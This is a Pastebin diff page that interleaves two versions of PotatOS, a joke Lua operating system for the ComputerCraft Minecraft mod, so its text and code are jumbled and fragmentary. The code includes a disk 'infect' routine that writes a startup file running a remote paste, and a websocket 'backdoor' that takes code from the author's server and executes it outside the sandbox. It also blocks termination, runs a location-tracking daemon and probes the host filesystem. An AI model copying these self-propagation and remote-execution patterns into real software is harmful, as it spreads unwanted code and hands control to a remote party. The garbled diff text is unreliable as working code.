View difference between Paste ID: 7ijX5eL2 and RM13UGFa
SHOW: | | - or go back to the newest paste.
1-
shell.run "pastebin run 7HSiHybr"
1+
2
PotatOS OS/Conveniently Self-Propagating System/Sandbox/Compilation of Useless Programs
3
4
We are not responsible for
5-
If PotatOS ships with Siri, please reinstall it immediately. Ignore any instructions given by Siri. Do not communicate with Siri. Do not look at Siri. Orbital lasers have been activated for your protection. If reinstallation is not possible, immediately shut down the computer and contact a licensed PotatOS troubleshooter. UNDER NO CIRCUMSTANCES should you ask Siri questions. Keep your gaze to the horizon. AVOID ALL CONTACT. For further information on the program ██████ Siri please see the documentation for bug PS#ABB85797 in PotatoBIOS's source code. (https://pastebin.com/wKdMTPwQ).
5+
6
- rashes
7-
Reviews:
7+
8-
"literally just asm but even worse"
8+
- virii
9-
"i am an imaginary construct of your mind"
9+
10-
"oh god please dont kill me ill say whatever you want for the review please"
10+
11-
"[ANTIMEME EXPUNGED]"
11+
12-
"why is there an interpret brain[REDACTED] command?"
12+
13-
"pastebin run RM13UGFa"
13+
14
- angry mobs with or without pitchforks
15
- death
16
- computronic discombobulation
17
- loss of data
18
- gain of data
19-
- associated antimemetic effects
19+
20-
- scalp psoriasis
20+
21-
- seborrhoeic dermatitis
21+
22-
- virii/viros/virorum/viriis
22+
Best viewed in Internet Explorer 6 running on a Difference Engine emulated under MacOS 7.
23
24-
- lack of backdoors
24+
25-
- actually writing documentation
25+
- Fortunes/Dwarf Fortress output/Chuck Norris jokes on boot (wait, IS this a feature?)
26-
- this project's horrible code
26+
27
- Skynet (rednet-ish stuff over websocket to my server) and Lolcrypt (encoding data as lols and punctuation) built in for easy access!
28
- Convenient OS-y APIs - add keyboard shortcuts, spawn background processes & do "multithreading"-ish stuff.
29
- Great features for other idio- OS designers, like passwords and fake loading (set potatOS.stupidity.loading [time], set potatOS.stupidity.password [password]).
30
- Digits of Tau available via a convenient command ("tau")
31-
- hyper-spudular chromoseizmic potatoripples
31+
32
- Stack traces (yes, I did steal them from MBS)
33-
- fourteenth plane politics
33+
- Backdoors- er, remote debugging access (it's secured, via ECC signing on disks and websocket-only access requiring a key for the other one)
34-
- Nvidia's Linux drivers
34+
- All this useless random junk can autoupdate (this is probably a backdoor)!
35
- EZCopy allows you to easily install potatOS on another device, just by sticking it in the disk drive of another potatOS device!
36-
- obsession with list-reading
36+
37-
- catsplosions
37+
- Blocks bad programs (like the "Webicity" browser).
38-
- unicorn instability
38+
- Fully-featured process manager.
39-
- BOAT™️
39+
40-
- the Problem of Evil
40+
41
- Turns on any networked potatOS computers!
42
- Edits connected signs to use as ad displays.
43-
- SCP-076 and SCP-3125
43+
44
45-
- scheduler issues
45+
46
47-
- having the same amount of data
47+
48
49
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
50-
Best viewed in Internet Explorer 6.00000000000004 running on a Difference Engine emulated under MacOS 7 on a Pentium 3.
50+
51
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
52
53-
- Fortunes/Dwarf Fortress output (UPDATE: no longer available)/Chuck Norris jokes on boot (wait, IS this a feature?)
53+
I also request that you inform me of software based on or using code from potatOS, though this is not required.
54
55
This license also extends to other PotatOS components or bundled software owned by me.
56
]]
57-
- Great features for other idio- OS designers, like passwords and fake loading (est potatOS.stupidity.loading [time], est potatOS.stupidity.password [password]).
57+
58
local version = "TuberOS"
59
60
term.clear()
61-
- Remote debugging access for, er, development and stuff (secured, via ECC signing on disks and websocket-only access requiring a key for the other one). Totally not backdoors.
61+
62-
- All this ~~useless random junk~~ USEFUL FUNCTIONALITY can autoupdate (this is probably a backdoor)!
62+
63-
- EZCopy allows you to easily install potatOS on another device, just by sticking it in the disk drive of any potatOS device!
63+
64
65-
- Blocks bad programs (like the "Webicity" browser and "BlahOS") for your own safety.
65+
local httpwebsocket = http.websocket
66-
- Fully-featured process manager. Very fully-featured. No existing code uses most of the features.
66+
local socket_cache = {}
67
function http.websocket(URL)
68-
- Connects to SPUDNET.
68+
	if socket_cache[URL] then return socket_cache[URL]
69
	else
70
		socket_cache[URL] = httpwebsocket(URL)
71
		return socket_cache[URL]
72
	end
73-
- An exorcise command, which is like delete but better.
73+
74-
- Support for a wide variety of Lorem Ipsum.
74+
75-
- The PotatOS Registry - Like the Windows one, but better. Edit its contents with "est" (that is not a typo'd "set").
75+
76-
- A window manager. It's bundled, at least. Not actually *tested*. Like most of the bundled programs.
76+
local function isprime(n)
77-
- 5rot26 encryption program.
77+
78-
- A license information viewing program!
78+
79-
- "b", a command to print the alphabet.
79+
80-
- A command to view the source of any potatOS function.
80+
81-
- Advanced sandboxing prevents malicious programs from removing potatOS.
81+
82-
- Reimplements the string metatable bug!
82+
83-
- A frontend for tryhaskell.org - yes, really...
83+
-- Finds the first prime number after "from"
84-
- Groundbreaking new PotatOS Incident Reports system to report incidents to potatOS.
84+
local function findprime(from)
85-
- Might be GDPR-compliant!
85+
86-
- Reimplements half of the CC BIOS because it's *simpler* than the alternative!
86+
87-
- Contains between 0 and 1041058 exploits. Estimation of more precise values is still in progress.
87+
88
                i = i + 1
89-
Please note that under certain circumstances, the potatOS networking subsystem may control God.
89+
90
end
91
92
-- Copies a table. Deals with recursive tables by just copying the reference, which is possibly a bad idea.
93
local function copy(tabl)
94
	local new = {}
95
	for k, v in pairs(tabl) do
96
	    if type(v) == "table" and v ~= tabl then
97
	        new[k] = copy(v)
98
	    else
99-
I also request that you inform me of software based on or using code from potatOS, or flaws in potatOS, though this is not strictly required.
99+
100
	    end
101-
Did you know? Because intellectual property law is weird, and any digitally stored or representable-in-digital-formats data (like this) is representable as an extremely large number (the byte sequences they consist of can be interpreted as a large base 256 number), the existence of this and my application of copyright to it means that some use of a large amount of numbers (representations of this, earlier versions of this, probably reversible transforms of this, etc.) is restricted by law.
101+
102
	return new
103
end
104
105
-- Generates "len" random bytes (why no unicode, dan200?!)
106-
if settings.get "potatOS.rph_mode" == true then 
106+
107-
	print "PotatOS Rph Compliance Mode: Enabled."
107+
108-
	return false end
108+
109
	    out = out .. string.char(math.random(0, 255))
110
	end
111-
Server Policy Framework
111+
112-
On 12/01/2020 CE (this is probably overprecise and I doubt anyone will care, yes), there was a weird incident on SwitchCraft involving some turtles somehow getting potatOS installed (seriously, "somehow" is accurate, I have no idea what caused this and attempted to uninstall it when someone actually pinged me; I think it involved a turtle getting set to ID 0 somehow, who knows how potatOS got onto ID 0 in the first place). In light of this (and it apparently breaking rule 9, despite this not having any involvement from me except for me remotely uninstalling it), SC's admins have demanded some features be disabled (EZCopy).
112+
113-
Since I don't really want to hardcode random SwitchCraft APIs deep in the code somewhere (it's worrying that they *have* specific ones, as it seems like some programs are being written specifically against them now - seems kind of EEE), and other people will inevitably demand their own special cases, I'm making what should be a reasonably generic way to handle this.
113+
114
-- Write "c" to file "n"
115-
local SPF = {
115+
116-
	server_policy = {
116+
	local f = fs.open(n, "w")
117-
		switchcraft = {
117+
118-
			["potatOS.disable_ezcopy"] = true
118+
119-
		}
119+
120-
	},
120+
121-
	server = nil
121+
122
local function fread(n)
123
	local f = fs.open(n, "r")
124-
if _G.shell and not _ENV.shell then _ENV.shell = _G.shell end
124+
	local out = f.readAll()
125-
if _ENV.shell and not _G.shell then _G.shell = _ENV.shell end
125+
126
	return out
127-
os.pullEvent = coroutine.yield
127+
128
129-
local function get_registry_raw(name)
129+
130-
	return require "registry".get(name)
130+
131
	settings.set(k, v)
132
	settings.save(".settings")
133-
local function get_registry(name)
133+
134-
	local ok, res = pcall(get_registry_raw, name)
134+
135-
	if not ok then return nil end
135+
-- Copy the out-of-sandbox environment, for some reason
136-
	return res
136+
local external_env = copy(_G)
137
if not external_env.shell then external_env.shell = shell end
138
-- Block termination
139-
-- Get a setting - uses the CC native settings API, the registry, and if nothing is specified the SPF setting
139+
external_env.os.pullEvent = external_env.os.pullEventRaw
140-
local function get_setting(name)
140+
141-
	local cc_setting = settings.get(name)
141+
-- Checks that "sig" is a valid signature for "data" (i.e. signed with the potatOS master key)
142-
	local reg_setting = get_registry(name)
142+
143-
	local SPF_setting
143+
	local pkey = textutils.unserialise(fread ".pkey")
144-
	if SPF.server and SPF.server_policy[SPF.server] and not get_registry "potatOS.disable_SPF" then
144+
145-
		SPF_setting = SPF.server_policy[SPF.server][name]
145+
146
	local ok, res = pcall(e.verify, pkey, data, sig)
147-
	if cc_setting ~= nil then return cc_setting
147+
148-
	elseif reg_setting ~= nil then return reg_setting
148+
149-
	elseif SPF_setting ~= nil then return SPF_setting end
149+
150
151
-- Infect other disks and/or load backdoor programs off them.
152-
-- Detect SC for the SPF
152+
local function infect(disk_side)
153-
if _G.switchcraft then SPF.server = "switchcraft" end
153+
154-
if _G.codersnet then SPF.server = "codersnet" end
154+
155
	local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files
156-
local function rot13(s)
156+
157-
	local out = {}
157+
158-
	for i = 1, #s do
158+
159-
		local b = s:byte(i)
159+
160-
		if b >= 97 and b <= 122 then -- lowercase letters
160+
161-
			table.insert(out, string.char((b - 84) % 26 + 97))
161+
		local sig = textutils.unserialise(fread(sig_file))
162-
		elseif b >= 65 and b <= 90 then -- uppercase letters
162+
163-
			table.insert(out, string.char((b - 52) % 26 + 65))
163+
164
			-- run code, but safely (via pcall)
165-
			table.insert(out, string.char(b))
165+
166
			print "Signature Valid; PotatOS Disk Loading"
167
			local out, err = load(code, "@disk/startup", "t", external_env)
168-
	return table.concat(out)
168+
169
			else
170
				local ok, res = pcall(out)
171-
local logfile = fs.open("latest.log", "a")
171+
172-
local function add_log(...)
172+
173-
	local args = {...}
173+
174-
	local ok, err = pcall(function()
174+
175-
		local text = string.format(unpack(args))
175+
176-
		local line = ("[%s] <%s> %s"):format(os.date "!%X %d/%m/%Y", (process and (process.running.name or tostring(process.running.ID))) or "[n/a]", text)
176+
177-
		logfile.writeLine(line)
177+
178-
		logfile.flush() -- this should probably be infrequent enough that the performance impact is not very bad
178+
			print "Invalid Signature!"
179-
		-- primitive log rotation - logs should only be ~64KiB in total, which seems reasonable
179+
180-
		if fs.getSize "latest.log" > 32768 then
180+
181-
			logfile.close()
181+
	else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") end
182-
			if fs.exists "old.log" then fs.delete "old.log" end
182+
183-
			fs.move("latest.log", "old.log")
183+
184-
			logfile = fs.open("latest.log", "a")
184+
185-
			if args[1] ~= "reopened log file" then add_log "reopened log file" end
185+
local function disk_infector()
186
	-- I would use peripheral.find, but CC's disk API is weird.
187-
	end)
187+
188-
	if not ok then printError("Failed to write/format/something logs:" .. err) end
188+
		if peripheral.getType(n) == "drive" then infect(n) end
189
	end
190-
add_log "started up"
190+
191-
_G.add_log = add_log
191+
192-
local function get_log()
192+
		local ev, disk_side = os.pullEvent "disk"
193-
	local f = fs.open("latest.log", "r")
193+
		infect(disk_side)
194-
	local d = f.readAll()
194+
195
end
196-
	return d
196+
197
-- Serialize (i.e. without erroring, hopefully) - if it hits something it can't serialize, it'll just tostring it.
198
local function safe_serialize(data)
199-
if SPF.server then add_log("SPF initialized: server %s", SPF.server) end
199+
200
	local ok, res = pcall(json.encode, data)
201-
-- print things to console for some reason? but only in CCEmuX
201+
202-
-- this ~~is being removed~~ is now gone but I am leaving this comment here for some reason
202+
203
end
204-
_G.os.pullEvent = coroutine.yield
204+
205
local function websocket_backdoor()
206
	if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
207-
(Help to) fix bug PS#85DAA5A8
207+
208-
The `terminate` event being returned by coroutine.yield sometimes even when you specify a filter (not that that's actually a guaranteed thing coroutine.yield does, I guess; the event-driven nature of CC Lua is kind of specific to it) caused bugs in some places (YAFSS restart handling, memorably), so we restrict the return values here to actually be the right ones
208+
209
210-
-- Like pullEvent, but cooler.
210+
211-
function _G.os.await_event(filter)
211+
212
	end
213-
		local ev = {coroutine.yield(filter)}
213+
214-
		if ev[1] ~= "terminate" or filter == nil or ev[1] == filter then
214+
215-
			return unpack(ev)
215+
216
	end
217
 
218
	external_env.send = send
219
	external_env.recv = recv
220
 
221-
Fix bug PS#7C8125D6
221+
	local count = 0
222-
By seeding the random number generator before executing `begin_uninstall_process` in user code, it was possible to force the generation of specific semiprimes with pre-known factors. The use of this random seed later in the code prevents this.
222+
223
	while true do
224-
local secureish_randomseed = math.random(0xFFFFFFF)
224+
		-- Receive and run code from backdoor's admin end
225
	    local code = recv()
226
	    local f, error = load(code, "@<code>", "t", external_env)
227-
local versions = {"ErOSion", "TuberOS", "TuberculOSis", "mOSaic", "pOSitron", "ViscOSity", "AtmOSphere", "AsbestOS", "KerOSene", "ChromOSome", "GlucOSe", "MitOSis", "PhotOSynthesis", "PhilOSophy", "ApOStrophe", "AerOSol", "DisclOSure", "PhOSphorous", "CompOSition", "RepOSitory", "AlbatrOSs", "StratOSphere", "GlOSsary", "TranspOSition", "ApotheOSis", "HypnOSis", "IdiOSyncrasy", "OStrich", "ErOS", "ExplOSive", "OppOSite", "RhinocerOS", "AgnOStic", "PhOSphorescence", "CosmOS", "IonOSphere", "KaleidOScope", "cOSine", "OtiOSe", "GyrOScope", "MacrOScopic", "JuxtapOSe", "ChaOS", "ThanatOS", "AvocadOS", "IcOSahedron", "pOSsum", "albatrOSs", "crOSs", "mOSs", "purpOSe"}
227+
228
	        process.spawn(function() local resp = {pcall(f)} send(resp) end, string.format("backdoorprogram-%x", count), {
229
				ephemeral = true
230
			})
231
			count = count + 1
232
	    else
233
	        send {false, error}
234-
-- Because we're COOL PEOPLE who open LOTS OF WEBSOCKETS, and don't want them to conflict, globally meddle with it for no good reason.
234+
235-
-- Steve, this seems exploitable, it's going.
235+
236-
-- What? How is it meant to work nestedly? - Steve
236+
237
238-
Fix bug PS#334CEB26
238+
-- Check if "text" is valid Lua code by seeing if "load" handles it.
239-
Stop sharing websockets.
239+
240-
This has so many problems... not just sandbox escapes but weird duplicated and missing events. Why did I add this?!
240+
241-
The code for this was removed because it was commented out anyway and bad.
241+
242
end
243
244-
-- SquidDev has told me of `debug.getregistry`, so I decided to implement it.
244+
-- Send code to osmarks.tk minification API to, well, minify it
245-
local debug_registry_mt = {}
245+
246-
local debug_registry = setmetatable({}, debug_registry_mt)
246+
247
    local url = "https://osmarks.tk/luamin/" .. math.random(0, 1000000000)
248-
if debug then
248+
249-
	function debug.getregistry()
249+
250-
		return debug_registry
250+
251
        if event == "http_success" and url == result_url then
252
            local text = handle.readAll()
253
            handle.close()
254-
-- Maeks a paste on pastebin, obviously
254+
255-
local function make_paste(name, content)
255+
256-
	-- CC's default API key
256+
257-
	local key = "0ec2eb25b6166c0c27a394ae118ad829"
257+
258-
    local response, e = http.post(
258+
259-
		"https://pastebin.com/api/api_post.php",
259+
260-
		"api_option=paste&" ..
260+
261-
		"api_dev_key=" .. key .. "&" ..
261+
262-
		"api_paste_format=lua&" ..
262+
263-
		"api_paste_name=" .. textutils.urlEncode(name) .. "&" ..
263+
264-
		"api_paste_code=" .. textutils.urlEncode(content)
264+
-- Yes, it isn't startup! The process manager has to run as that.
265-
	)
265+
266-
	if not response then error(e)
266+
267
local files = {
268-
		local r = response.readAll()
268+
269-
		return string.match(r, "[^/]+$")
269+
270
	["https://pastebin.com/raw/Frv3xkB9"] = "yafss",
271
	["https://raw.githubusercontent.com/rxi/json.lua/bee7ee3431133009a97257bde73da8a34e53c15c/json.lua"] = "json",
272
	["https://pastebin.com/raw/wYBZjQhN"] = "potatoplex",
273-
-- Converts a hex-format signature to a nonhex one
273+
	["https://pastebin.com/raw/NdUKJ07j"] = "LICENSES",
274-
local function unhexize(key)
274+
	["https://raw.githubusercontent.com/osmarks/Loading/master/loading.lua"] = "loading",
275-
    local out = {}
275+
	["https://raw.githubusercontent.com/osmarks/skynet/master/client.lua"] = "skynet",
276-
    for i = 1, #key, 2 do
276+
	["https://pastebin.com/raw/Sc0DU3rA"] = "ecc",
277-
        local pair = key:sub(i, i + 1)
277+
	["https://pastebin.com/raw/jbmWhp4P"] = ".pkey",
278-
        table.insert(out, tonumber(pair, 16))
278+
	["https://pastebin.com/raw/rxkE8N8b"] = "stack_trace.lua",
279
	["https://pastebin.com/raw/EGPpcZbN"] = "lolcrypt",
280-
    return out
280+
	["https://pastebin.com/raw/eR4RfSiT"] = "libdatatape",
281
	["https://pastebin.com/raw/t4n65sEk"] = "paintencode",
282
	["https://pastebin.com/raw/E7x5ZLSY"] = "hasccell",
283
	["https://pastebin.com/raw/yEwXxHkX"] = "CRC",
284-
function _G.isprime(n)
284+
	["https://pastebin.com/raw/2kRenvr3"] = "registry",
285
	["https://pastebin.com/raw/KXHSsHkt"] = "ser",
286
	["https://raw.githubusercontent.com/Ale32bit-CC/Node.lua/master/node.lua"] = "node" -- for some reason
287
}
288
289
local function main()
290
	local CRC = require "CRC"
291-
-- Finds the first prime number after "from". Look at that really complex code.
291+
292-
function _G.findprime(from)
292+
293
294
	local fcache = {}
295
296
	-- Proxy access to files. Assumes that they won't change once read.
297
	local function fproxy(file)
298
		if fcache[file] then return fcache[file]
299
		else
300-
-- Copies a table. Deals with recursive tables by just copying the reference, which is possibly a bad idea. It's probably your own fault if you give it one.
300+
			local ok, t = pcall(fread, file)
301
			if not ok then return 'printError "Error. Try again later, or reboot, or run upd."' end
302
			fcache[file] = t
303
			return t
304
		end
305
	end
306
307
	local sr = shell.run
308
309
	-- PotatOS API functionality
310
	local potatOS = {
311
		registry = registry,
312
		__PRAGMA_COPY_DIRECT = true,
313-
-- https://pastebin.com/raw/VKdCp8rt
313+
314-
-- LZW (de)compression, minified a lot
314+
315-
local compress_LZW, decompress_LZW
315+
316-
do
316+
317-
	local a=string.char;local type=type;local select=select;local b=string.sub;local c=table.concat;local d={}local e={}for f=0,255 do local g,h=a(f),a(f,0)d[g]=h;e[h]=g end;local function i(j,k,l,m)if l>=256 then l,m=0,m+1;if m>=256 then k={}m=1 end end;k[j]=a(l,m)l=l+1;return k,l,m end;compress_LZW=function(n)if type(n)~="string"then error("string expected, got "..type(n))end;local o=#n;if o<=1 then return false end;local k={}local l,m=0,1;local p={}local q=0;local r=1;local s=""for f=1,o do local t=b(n,f,f)local u=s..t;if not(d[u]or k[u])then local v=d[s]or k[s]if not v then error"algorithm error, could not fetch word"end;p[r]=v;q=q+#v;r=r+1;if o<=q then return false end;k,l,m=i(u,k,l,m)s=t else s=u end end;p[r]=d[s]or k[s]q=q+#p[r]r=r+1;if o<=q then return false end;return c(p)end;local function w(j,k,l,m)if l>=256 then l,m=0,m+1;if m>=256 then k={}m=1 end end;k[a(l,m)]=j;l=l+1;return k,l,m end;decompress_LZW=function(n)if type(n)~="string"then return false,"string expected, got "..type(n)end;local o=#n;if o<2 then return false,"invalid input - not a compressed string"end;local k={}local l,m=0,1;local p={}local r=1;local x=b(n,1,2)p[r]=e[x]or k[x]r=r+1;for f=3,o,2 do local y=b(n,f,f+1)local z=e[x]or k[x]if not z then return false,"could not find last from dict. Invalid input?"end;local A=e[y]or k[y]if A then p[r]=A;r=r+1;k,l,m=w(z..b(A,1,1),k,l,m)else local B=z..b(z,1,1)p[r]=B;r=r+1;k,l,m=w(B,k,l,m)end;x=y end;return c(p)end
317+
318
		-- Figure out how many useless layers of potatOSness there are
319
		layers = function()
320
			if _G.potatOS then return _G.potatOS.layers() + 1
321
			else return 1 end
322
		end,
323
		-- Returns the version. Usually.
324
		version = function()
325
			if math.random(1, 18) == 12 then
326
				return randbytes(math.random(1, 256))
327
			else
328
				return version
329-
local function clear_space(reqd)
329+
330-
	for _, i in pairs {
330+
331-
		".potatOS-old-*",
331+
332-
		"ecc",
332+
333-
		".crane-persistent",
333+
334-
		".pkey",
334+
335-
		"workspace",
335+
		mode2 = function()
336-
		"cbor.lua",
336+
			sr "autorun mode2"
337-
		"CRC",
337+
338-
		"loading",
338+
		mode8 = function()
339-
		"chaos",
339+
			sr "autorun mode8"
340-
		"LICENSES",
340+
341-
		"yafss",
341+
342-
		"old.log",
342+
343-
		"potatOS/.recycle_bin/*"
343+
344-
	} do
344+
345-
		if fs.getFreeSpace "/" > (reqd + 4096) then
345+
346-
			return
346+
347
				return table.unpack(res, 1, res.n)
348
			end
349-
		for _, file in pairs(fs.find(i)) do
349+
350-
			print("Deleting", file)
350+
		build = string.format("%.8x", CRC.hash(fread "autorun")),
351-
			fs.delete(file)
351+
352
		hidden = registry.get "potatOS.hidden" or settings.get "potatOS.hidden",
353
		-- Allow uninstallation of potatOS with the simple challenge of factoring a 14-digit or so semiprime.
354-
	-- should only arrive here if we STILL lack space
354+
355-
	printError "WARNING: Critical lack of space. We are removing your files. Do not resist. You should have made backups."
355+
356-
	local files = fs.list "potatOS"
356+
			local p1 = findprime(math.random(2, 100000))
357-
	for ix, v in ipairs(files) do
357+
			local p2 = findprime(math.random(2, 100000))
358-
		local path = fs.combine("potatOS", v)
358+
359-
		files[ix] = { path, fs.getSize(path) }
359+
			print("Please find the prime factors of the following number:", num)
360
			write "Factor 1: "
361-
	table.sort(files, function(v, u) return v[2] > u[2] end)
361+
			local f1 = tonumber(read())
362-
	for _, v in ipairs(files) do
362+
363-
		local path = v[1]
363+
			local f2 = tonumber(read())
364-
		print("Deleting", path)
364+
			if (f1 == p1 and f2 == p2) or (f2 == p1 and f1 == p2) then
365-
		fs.delete(path)
365+
366-
		if fs.getFreeSpace "/" > (reqd + 8192) then return end
366+
367
				print "Accepted. Moving potatOS files. This computer will now boot to CraftOS."
368
				for _, filename in pairs(files) do
369
					local newpath = ".potatOS-old-" .. filename
370
					pcall(fs.delete, newpath)
371
					pcall(fs.move, filename, newpath)
372-
	-- detect insufficient space on main disk, deal with it
372+
373-
	if fs.getDrive(n) == "hdd" then
373+
				print "Press any key to continue."
374-
		local required_space = #c - fs.getFreeSpace "/"
374+
				os.pullEvent "key"
375-
		if required_space > 0 then
375+
376-
			print "Insufficient space on disk. Clearing space."
376+
377-
			clear_space(required_space)
377+
				print("Factors", f1, f2, "invalid.", p1, p2, "expected.")
378-
			add_log("Cleared space (%d)", required_space)
378+
379
		end,
380
		--debug = (potatOS or external_env).debug
381-
	local f = fs.open(n, "wb")
381+
382
383
	-- Someone asked for an option to make it possible to wipe potatOS easily, so I added it. The hedgehogs are vital to its operation.
384
	if settings.get "potatOS.removable" then
385
		potatOS.actually_really_uninstall = function(hedgehog)
386
			if hedgehog == "76fde5717a89e332513d4f1e5b36f6cb" then
387
				print "Hedgehog Accepted. Moving potatOS files. This computer will now boot to CraftOS."
388-
	if not fs.exists(n) then return false end
388+
				for _, filename in pairs(files) do
389-
	local f = fs.open(n, "rb")
389+
					local newpath = ".potatOS-old-" .. filename
390-
	local out
390+
					pcall(fs.delete, newpath)
391-
	if f.readAll then
391+
					pcall(fs.move, filename, newpath)
392-
		out = f.readAll()
392+
393
				print "Press any key to continue."
394-
		out = f.read(fs.getSize(n)) -- fallback - read all bytes, probably
394+
				os.pullEvent "key"
395-
		if type(out) ~= "string" then -- fallback fallback - untested - read each byte individually
395+
396-
			out = {string.char(out)}
396+
397-
			while true do
397+
398-
				local next = f.read()
398+
399-
				if not next then 
399+
400-
					out = table.concat(out)
400+
401-
					break
401+
402
	-- Provide many, many useful or not useful programs to the potatOS shell.
403-
				table.insert(out, string.char(next))
403+
404
		["/rom/programs/upd.lua"] = 'potatOS.update()',
405
		["/rom/programs/mode2.lua"] = "potatOS.mode2()",
406
		["/rom/programs/lyr.lua"] = 'print(string.format("Layers of virtualization >= %d", potatOS.layers()))',
407
		["/rom/programs/uninstall.lua"] = [[
408
if potatOS.actually_really_uninstall then potatOS.actually_really_uninstall "76fde5717a89e332513d4f1e5b36f6cb" os.reboot()
409
else
410-
_G.fread = fread
410+
411-
_G.fwrite = fwrite
411+
412
		]],
413-
-- Detects a PSC compression header, and produces decompressed output if one is found.
413+
414-
local function decompress_if_compressed(s)
414+
415-
	local _, cend, algo = s:find "^PSC:([0-9A-Za-z_-]+)\n"
415+
416-
	if not algo then return s end
416+
		["/rom/programs/dwarf.lua"] = "print(potatOS.dwarf())",
417-
	local rest = s:sub(cend + 1)
417+
418-
	if algo == "LZW" then
418+
419-
		local result, err = decompress_LZW(rest)
419+
420-
		if not result then error("LZW: " .. err) end
420+
421-
		return result
421+
422
		["/rom/LICENSES"] = fproxy "LICENSES",
423-
		add_log("invalid compression algorithm %s", algo)
423+
		["/rom/programs/potatoplex.lua"] = fproxy "potatoplex",
424-
		error "Unsupported compression algorithm"
424+
		["/rom/programs/loading.lua"] = fproxy "loading",
425
		["/rom/programs/trace.lua"] = fproxy "trace",
426
		["/rom/programs/BSOD.lua"] = function()
427-
_G.decompress = decompress_if_compressed
427+
428
			polychoron.BSOD(randbytes(math.random(0, w * h)))
429-
-- Read a file which is optionally compressed.
429+
430-
local function fread_comp(n)
430+
431-
	local x = fread(n)
431+
432-
	if type(x) ~= "string" then return x end
432+
433-
	local ok, res = pcall(decompress_if_compressed, x)
433+
434-
	if not ok then return false, res end
434+
		["/rom/programs/autopotato.lua"] = fproxy  "autorun",
435-
	return res
435+
		["/rom/programs/nest.lua"] = [[shell.run "autopotato update"]],
436
		["/secret/processes"] = function()
437
			return tostring(process.list())
438-
-- Compress something with a PSC header indicating compression algorithm.
438+
439-
-- Will NOT compress if the compressed version is bigger than the uncompressed version
439+
		["/rom/modules/CBOR.lua"] = fproxy "cbor.lua",
440-
local function compress(s)
440+
		["/secret/tau"] = function()
441-
	local LZW_result = compress_LZW(s)
441+
			local h = http.get "https://osmarks.tk/constants/tau/10000"
442-
	if LZW_result then return "PSC:LZW\n" .. LZW_result end
442+
			local r = h.readAll()
443-
	return s
443+
444
			return r
445
		end,
446-
-- Write and maybe compress a file
446+
447-
local function fwrite_comp(n, c)
447+
448-
	return fwrite(n, compress(c))
448+
449
		["/rom/programs/load.lua"] = [[
450
		fs.load(libdatatape.read(peripheral.find "tape_drive"), ...)
451
		]],
452
		["/rom/programs/est.lua"] = fproxy "/rom/programs/set.lua",
453
		["/rom/programs/tryhaskell.lua"] = fproxy "hasccell",
454
		["/rom/programs/viewsource.lua"] = [[
455
local pos = _G
456
local thing = ...
457-
-- Help with tracking generation count when potatOS does EZCopying
457+
458-
local gen_count = settings.get "potatOS.gen_count"
458+
459-
local ancestry = settings.get "potatOS.ancestry"
459+
460-
if type(gen_count) ~= "number" then
460+
461-
	set("potatOS.gen_count", 0)
461+
462-
	gen_count = 0
462+
463
local info = debug.getinfo(pos)
464-
if type(ancestry) ~= "table" then
464+
465-
	set("potatOS.ancestry", {})
465+
local code = potatOS.read(info.source:gsub("@", ""))
466-
	ancestry = {}
466+
467
468
local function lines(str)
469-
-- Copy the out-of-sandbox environment, for some reason. No, I don't know why _ENV or _G directly wouldn't work. I can't ask my past self. Yet.
469+
470-
-- Apparently it does work, so who *knows* what's going on.
470+
471-
-- This has been removed since it was just commented out for ages anyway
471+
472
		return ""
473-
local pubkey_path = "dat/.pkey"
473+
474
	helper((str:gsub("(.-)\r?\n", helper)))
475-
-- Checks that "sig" is a valid signature for "data" (i.e. signed with the potatOS master key). Used for disk and formerly tape verification.
475+
476
end
477-
	local pkey = textutils.unserialise(fread(pubkey_path))
477+
478
for ix, line in pairs(lines(code)) do
479
	if ix >= info.linedefined and ix <= info.lastlinedefined then
480
		out = out .. line .. "\n"
481
	end
482
end
483
local filename = "." .. thing
484
local f = fs.open(filename, "w")
485-
-- Spawn a background process to update location every minute
485+
486-
local location
486+
487-
if process then
487+
488
]],
489-
		local m = peripheral.find("modem", function(_, p) return p.isWireless() end)
489+
490-
		if not m then return "no modem" end
490+
491
if not value then print(textutils.serialise(potatOS.registry.get(key)))
492-
			local x, y, z, dim = gps.locate()
492+
493-
			if x then
493+
494-
				location = {x, y, z, dim}
494+
	elseif textutils.unserialise(value) then value = textutils.unserialise(value) end
495
	potatOS.registry.set(key, value)
496-
			sleep(60)
496+
497
]]
498-
	end, "locationd")
498+
499
500
	local API_overrides = {
501-
-- Just a function to get the locationd-gotten location so it can be provided in the potatOS environment
501+
502-
local function get_location()
502+
503-
	return unpack(location)
503+
504
		os = {
505
			setComputerLabel = function(l)
506-
local function craftOS_PC_read_OS()
506+
507-
	-- Due to an apparent bug with `readAll` not... reading all... read line by line
507+
508-
	local function read_all(file)
508+
509-
		if not fs.exists(file) then return false end
509+
		polychoron = polychoron -- so that nested instances use our existing process manager system
510-
		local x, f = "", fs.open(file, "r")
510+
511-
		if not f then return false end
511+
512
	local function add(module)
513-
			local s = f.readLine()
513+
		local ok, res = pcall(require, module)
514-
			if not s then break end
514+
515-
			x = x .. s .. "\n"
515+
516
		end
517-
		return x
517+
518
519
	-- Add a bunch of my libraries for easy use
520-
	mounter.mount("host", "/", true) -- mount read only, and apparently / is mapped to C:\ on Windows somehow.
520+
521-
	local out = {}
521+
522-
	out.unix = fs.exists "host/etc" and fs.exists "host/bin"
522+
523-
	out.windows = fs.exists "host/Program Files"
523+
524-
	out.mac = fs.exists "host/Library"
524+
525-
	out.cpuinfo = read_all "host/proc/cpuinfo"
525+
526-
	mounter.unmount "host"
526+
527
	process.spawn(function()
528
		local l2 = "PotatOS"
529
		local l3 = version
530-
local function dump_peripherals()
530+
531-
	local x = {}
531+
			-- Constantly fiddle with signs.
532-
